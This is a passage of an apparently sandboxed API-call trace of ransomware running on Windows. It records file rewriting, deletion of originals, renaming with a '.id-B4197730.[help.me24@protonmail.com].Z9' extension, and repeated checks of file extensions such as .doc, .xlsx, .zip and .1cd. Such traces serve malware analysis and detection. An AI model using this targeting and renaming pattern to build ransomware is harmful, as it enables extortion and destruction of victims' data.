	[0188.540] WriteFile (in: hFile=0x390, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x4240, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x4240, lpOverlapped=0x0) returned 1
	[0188.542] ReadFile (in: hFile=0x2cc, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0188.542] WriteFile (in: hFile=0x390, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0188.542] SetEndOfFile (hFile=0x390) returned 1
	[0188.542] CloseHandle (hObject=0x390) returned 1
	[0188.542] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.542] SetEndOfFile (hFile=0x2cc) returned 1
	[0188.547] CloseHandle (hObject=0x2cc) returned 1
	[0188.548] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0188.550] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153313.wmf")) returned 1
	[0188.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68
	[0188.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68
	[0188.552] lstrlenW (lpString=".doc") returned 4
	[0188.553] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0188.553] lstrlenW (lpString=".docx") returned 5
	[0188.553] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0188.553] lstrlenW (lpString=".pdf") returned 4
	[0188.553] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0188.553] lstrlenW (lpString=".xls") returned 4
	[0188.553] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0188.553] lstrlenW (lpString=".xlsx") returned 5
	[0188.553] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0188.553] lstrlenW (lpString=".ppt") returned 4
	[0188.553] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0188.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68
	[0188.553] lstrlenW (lpString=".zip") returned 4
	[0188.553] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0188.553] lstrlenW (lpString=".rar") returned 4
	[0188.553] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0188.553] lstrlenW (lpString=".bz2") returned 4
	[0188.553] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0188.553] lstrlenW (lpString=".7z") returned 3
	[0188.553] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0188.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68
	[0188.553] lstrlenW (lpString=".dbf") returned 4
	[0188.553] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0188.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68
	[0188.553] lstrlenW (lpString=".1cd") returned 4
	[0188.553] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0188.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68
	[0188.553] lstrlenW (lpString=".jpg") returned 4
	[0188.553] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0188.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68
	[0188.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68
	[0188.553] lstrlenW (lpString=".doc") returned 4
	[0188.553] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0188.553] lstrlenW (lpString=".docx") returned 5
	[0188.553] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0188.554] lstrlenW (lpString=".pdf") returned 4
	[0188.554] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0188.554] lstrlenW (lpString=".xls") returned 4
	[0188.554] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0188.554] lstrlenW (lpString=".xlsx") returned 5
	[0188.554] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0188.554] lstrlenW (lpString=".ppt") returned 4
	[0188.554] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0188.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68
	[0188.554] lstrlenW (lpString=".zip") returned 4
	[0188.554] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0188.554] lstrlenW (lpString=".rar") returned 4
	[0188.554] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0188.554] lstrlenW (lpString=".bz2") returned 4
	[0188.554] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0188.554] lstrlenW (lpString=".7z") returned 3
	[0188.554] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0188.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68
	[0188.554] lstrlenW (lpString=".dbf") returned 4
	[0188.554] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0188.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68
	[0188.554] lstrlenW (lpString=".1cd") returned 4
	[0188.554] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0188.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68
	[0188.554] lstrlenW (lpString=".jpg") returned 4
	[0188.554] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0188.554] lstrlenW (lpString=".id-") returned 4
	[0188.554] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x76fd90 | out: hHeap=0x710000) returned 1
	[0188.554] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7ad858 | out: hHeap=0x710000) returned 1
	[0188.554] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7f14b0 | out: hHeap=0x710000) returned 1
	[0188.554] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3840048 | out: hHeap=0x710000) returned 1
	[0188.556] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3949020 | out: hHeap=0x710000) returned 1
	[0188.562] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x76ff10 | out: hHeap=0x710000) returned 1
	[0188.562] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x4068dd8
	[0188.562] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x4068dd8, Size=0x20) returned 0x3929fc0
	[0188.562] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x4068e08
	[0188.562] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x4068e08, Size=0x20) returned 0x3929fe8
	[0188.562] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0188.562] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0188.562] Wow64DisableWow64FsRedirection (in: OldValue=0x2beff50 | out: OldValue=0x2beff50*=0x1) returned 1
	[0188.562] lstrlenW (lpString="kernel32.dll") returned 12
	[0188.562] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3929fe8 | out: hHeap=0x710000) returned 1
	[0188.562] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0188.562] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3929fc0 | out: hHeap=0x710000) returned 1

Thread:
	id = 40
	os_tid = 0xd88

	[0159.316] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10000) returned 0x3850930
	[0159.317] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10000) returned 0x3860938
	[0159.317] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x76fc88
	[0159.317] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x6) returned 0x7ad868
	[0159.317] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x76ff28
	[0159.317] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x100000) returned 0x3a5f020
	[0159.320] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x76fca0
	[0159.320] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x76fca0, Size=0x20) returned 0x74f3a0
	[0159.320] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x76fdd8
	[0159.320] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x76fdd8, Size=0x20) returned 0x74f378
	[0159.320] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0159.320] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0159.320] Wow64DisableWow64FsRedirection (in: OldValue=0x2d2ff50 | out: OldValue=0x2d2ff50*=0x0) returned 1
	[0159.320] lstrlenW (lpString="kernel32.dll") returned 12
	[0159.320] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74f3a0 | out: hHeap=0x710000) returned 1
	[0159.320] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0159.320] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74f378 | out: hHeap=0x710000) returned 1
	[0159.320] Sleep (dwMilliseconds=0x64) 
	[0159.635] Sleep (dwMilliseconds=0x64) 
	[0160.315] Sleep (dwMilliseconds=0x64) 
	[0160.633] Sleep (dwMilliseconds=0x64) 
	[0160.913] lstrcmpiW (lpString1=".p7b", lpString2=".Z9") returned -1
	[0160.913] lstrlenW (lpString="updaterevokesipolicy.p7b") returned 24
	[0160.913] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0160.922] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=4662) returned 1
	[0160.922] CloseHandle (hObject=0x394) returned 1
	[0160.922] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20
	[0160.922] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0160.922] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0160.922] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0160.922] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0160.922] lstrlenW (lpString=".doc") returned 4
	[0160.922] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1
	[0160.922] lstrlenW (lpString=".docx") returned 5
	[0160.922] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1
	[0160.922] lstrlenW (lpString=".pdf") returned 4
	[0160.922] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1
	[0160.922] lstrlenW (lpString=".xls") returned 4
	[0160.922] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1
	[0160.922] lstrlenW (lpString=".xlsx") returned 5
	[0160.922] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1
	[0160.922] lstrlenW (lpString=".ppt") returned 4
	[0160.922] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1
	[0160.922] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0160.922] lstrlenW (lpString=".zip") returned 4
	[0160.922] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1
	[0160.923] lstrlenW (lpString=".rar") returned 4
	[0160.923] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1
	[0160.923] lstrlenW (lpString=".bz2") returned 4
	[0160.923] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1
	[0160.923] lstrlenW (lpString=".7z") returned 3
	[0160.923] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1
	[0160.923] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0160.923] lstrlenW (lpString=".dbf") returned 4
	[0160.923] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1
	[0160.923] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0160.923] lstrlenW (lpString=".1cd") returned 4
	[0160.923] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1
	[0160.923] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0160.923] lstrlenW (lpString=".jpg") returned 4
	[0160.923] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1
	[0160.923] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0160.923] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0160.923] lstrlenW (lpString=".doc") returned 4
	[0160.923] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1
	[0160.923] lstrlenW (lpString=".docx") returned 5
	[0160.923] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1
	[0160.923] lstrlenW (lpString=".pdf") returned 4
	[0160.923] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1
	[0160.923] lstrlenW (lpString=".xls") returned 4
	[0160.923] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1
	[0160.923] lstrlenW (lpString=".xlsx") returned 5
	[0160.923] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1
	[0160.923] lstrlenW (lpString=".ppt") returned 4
	[0160.923] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1
	[0160.923] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0160.923] lstrlenW (lpString=".zip") returned 4
	[0160.923] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1
	[0160.923] lstrlenW (lpString=".rar") returned 4
	[0160.923] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1
	[0160.923] lstrlenW (lpString=".bz2") returned 4
	[0160.924] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1
	[0160.924] lstrlenW (lpString=".7z") returned 3
	[0160.924] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1
	[0160.924] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0160.924] lstrlenW (lpString=".dbf") returned 4
	[0160.924] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1
	[0160.924] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0160.924] lstrlenW (lpString=".1cd") returned 4
	[0160.924] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1
	[0160.924] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0160.924] lstrlenW (lpString=".jpg") returned 4
	[0160.924] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1
	[0160.924] lstrcmpiW (lpString1=".avi", lpString2=".Z9") returned -1
	[0160.924] lstrlenW (lpString="boxed-join.avi") returned 14
	[0160.924] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0160.941] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=46622) returned 1
	[0160.941] CloseHandle (hObject=0x394) returned 1
	[0160.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20
	[0160.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0160.942] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0160.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0160.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0160.952] lstrlenW (lpString=".doc") returned 4
	[0160.952] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0160.952] lstrlenW (lpString=".docx") returned 5
	[0160.952] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0160.952] lstrlenW (lpString=".pdf") returned 4
	[0160.952] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0160.952] lstrlenW (lpString=".xls") returned 4
	[0160.953] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0160.953] lstrlenW (lpString=".xlsx") returned 5
	[0160.953] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0160.953] lstrlenW (lpString=".ppt") returned 4
	[0160.953] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0160.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0160.953] lstrlenW (lpString=".zip") returned 4
	[0160.953] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0160.953] lstrlenW (lpString=".rar") returned 4
	[0160.953] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0160.953] lstrlenW (lpString=".bz2") returned 4
	[0160.953] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0160.953] lstrlenW (lpString=".7z") returned 3
	[0160.953] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0160.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0160.953] lstrlenW (lpString=".dbf") returned 4
	[0160.953] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0160.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0160.953] lstrlenW (lpString=".1cd") returned 4
	[0160.953] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0160.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0160.953] lstrlenW (lpString=".jpg") returned 4
	[0160.953] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0160.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0160.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0160.953] lstrlenW (lpString=".doc") returned 4
	[0160.953] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0160.953] lstrlenW (lpString=".docx") returned 5
	[0160.953] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0160.953] lstrlenW (lpString=".pdf") returned 4
	[0160.953] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0160.953] lstrlenW (lpString=".xls") returned 4
	[0160.953] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0160.953] lstrlenW (lpString=".xlsx") returned 5
	[0160.954] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0160.954] lstrlenW (lpString=".ppt") returned 4
	[0160.954] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0160.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0160.954] lstrlenW (lpString=".zip") returned 4
	[0160.954] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0160.954] lstrlenW (lpString=".rar") returned 4
	[0160.954] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0160.954] lstrlenW (lpString=".bz2") returned 4
	[0160.954] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0160.954] lstrlenW (lpString=".7z") returned 3
	[0160.954] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0160.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0160.954] lstrlenW (lpString=".dbf") returned 4
	[0160.954] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0160.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0160.954] lstrlenW (lpString=".1cd") returned 4
	[0160.954] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0160.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0160.954] lstrlenW (lpString=".jpg") returned 4
	[0160.954] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0160.954] lstrcmpiW (lpString1=".avi", lpString2=".Z9") returned -1
	[0160.954] lstrlenW (lpString="split.avi") returned 9
	[0160.954] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0160.965] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=181964) returned 1
	[0160.965] CloseHandle (hObject=0x394) returned 1
	[0160.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20
	[0160.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0160.966] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0160.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0160.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0160.966] lstrlenW (lpString=".doc") returned 4
	[0160.966] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0160.966] lstrlenW (lpString=".docx") returned 5
	[0160.966] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0160.966] lstrlenW (lpString=".pdf") returned 4
	[0160.966] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0160.966] lstrlenW (lpString=".xls") returned 4
	[0160.966] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0160.966] lstrlenW (lpString=".xlsx") returned 5
	[0160.966] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0160.966] lstrlenW (lpString=".ppt") returned 4
	[0160.966] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0160.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0160.966] lstrlenW (lpString=".zip") returned 4
	[0160.966] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0160.966] lstrlenW (lpString=".rar") returned 4
	[0160.966] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0160.966] lstrlenW (lpString=".bz2") returned 4
	[0160.966] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0160.966] lstrlenW (lpString=".7z") returned 3
	[0160.966] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0160.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0160.967] lstrlenW (lpString=".dbf") returned 4
	[0160.967] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0160.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0160.967] lstrlenW (lpString=".1cd") returned 4
	[0160.967] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0160.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0160.967] lstrlenW (lpString=".jpg") returned 4
	[0160.967] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0160.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0160.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0160.967] lstrlenW (lpString=".doc") returned 4
	[0160.967] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0160.967] lstrlenW (lpString=".docx") returned 5
	[0160.967] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0160.967] lstrlenW (lpString=".pdf") returned 4
	[0160.967] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0160.967] lstrlenW (lpString=".xls") returned 4
	[0160.967] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0160.967] lstrlenW (lpString=".xlsx") returned 5
	[0160.967] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0160.967] lstrlenW (lpString=".ppt") returned 4
	[0160.967] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0160.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0160.967] lstrlenW (lpString=".zip") returned 4
	[0160.967] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0160.967] lstrlenW (lpString=".rar") returned 4
	[0160.967] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0160.967] lstrlenW (lpString=".bz2") returned 4
	[0160.967] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0160.967] lstrlenW (lpString=".7z") returned 3
	[0160.967] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
